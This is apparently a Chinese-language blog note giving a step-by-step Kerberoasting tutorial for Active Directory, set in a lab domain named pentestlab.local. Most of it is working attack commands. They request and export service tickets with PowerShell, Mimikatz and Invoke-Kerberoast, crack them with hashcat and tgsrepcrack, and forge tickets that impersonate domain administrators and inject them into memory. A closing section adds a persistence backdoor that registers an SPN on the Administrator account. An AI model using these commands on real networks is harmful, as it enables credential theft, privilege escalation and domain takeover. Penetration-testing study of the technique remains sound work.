一、概述
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
二、Kerberoasting攻击流程
1. 发现服务主体名称(SPN)
2. 请求服务票据
3. 导出服务票据
4. 破解服务票据
5. 重写服务票据&RAM注入
三、请求服务票据
1. Powershell
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
批量请求所有的SPN:
Add-Type -AssemblyName System.IdentityModel setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
2. Mimikatz
mimikatz.exe "kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
3. GetUserSPNs
python GetUserSPNs.py -request pentestlab.local/test
PS:该工具支持提供域用户凭证从非域成员机器请求票据
四、查看票据是否申请成功
1. klist
PS:klist purge 清空所有票据缓存
2. Mimikatz
mimikatz.exe "kerberos::list"
3. MSF
load kiwi kerberos_ticket_list
kiwi_cmd kerberos::list
4. RiskySPN
该脚本可以自动识别包含弱密码的票据,并且提供的信息比较详细,包括组信息,密码有效期等
Find-PotentiallyCrackableAccounts -FullData -Verbose
Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"
Export-PotentiallyCrackableAccounts # 导出csv格式
PS:选择Kerberos服务票证是弱密码的,容易破解,可以通过下列因素来确定:
(1)SPNs绑定到域用户账户
(2)最后一次密码设置(Password last set)
(3)密码过期时间
(4)最后一次登录(Last logon)
(5)加密方式(TGT支持AES256,AES128,RC4-HMAC和3DES等加密方式,其中RC4_HMAC_MD5可破解)
五、导出服务票据
1. Mimikatz
mimikatz.exe "standard::base64" "kerberos::list /export" # 将内容base64输出保存
2. kerberoast
Invoke-AutoKerberoast Invoke-AutoKerberoast -GroupName "Domain Admins" Invoke-AutoKerberoast -Domain dev.testlab.local Invoke-AutoKerberoast -SPN MSSQLSvc/sqlBox.testlab.local:1433 Invoke-AutoKerberoast -DomainController 172.20.200.100
3. Get-TGSCipher
Get-TGSCipher可以以三种不同的格式提取服务票据的密码哈希值:John,Hashcat和Kerberoast,输出到命令行
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John Get-TGSCipher -SPN "HTTP/WebServer.lab.com" -Format Hashcat
4. Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat
直接提取hash
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
六、破解服务票据
1. tgsrepcrack.py
python tgsrepcrack.py /root/passwd.txt PENTESTLAB_001.kirbi
2. tgscrack
python extractServiceTicketParts.py PENTESTLAB_001.kirbi > hash.txt # 在TGS_REP消息中提取加密的服务票证部分 tgscrack.exe -hashfile hash.txt -wordlist passwords.txt # 破解
3. hashcat
hashcat -m 13100 hash.txt passwd.txt -o found.txt --force
在测试的过程中发现上述破解成功的并不是真正的密码,在found.txt中的密码才是正确的,原因不详
七、重写服务票据&RAM注入
Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512 mimikatz.exe kerberos::ptt PENTESTLAB.kirbi # 将新生成的票据注入内存
八、后门利用
在获取SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令。例如为域用户Administrator添加SPN VNC/DC1.test.com,参数如下:
setspn.exe -U -A VNC/DC1.test.com Administrator
在域内任意一台主机都能获得该SPN,并且能够使用Kerberoast获得TGS,在通过hashcat破解即可。
参考连接:
https://www.freebuf.com/articles/system/174967.html
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/
No Leanote account ? Sign up now.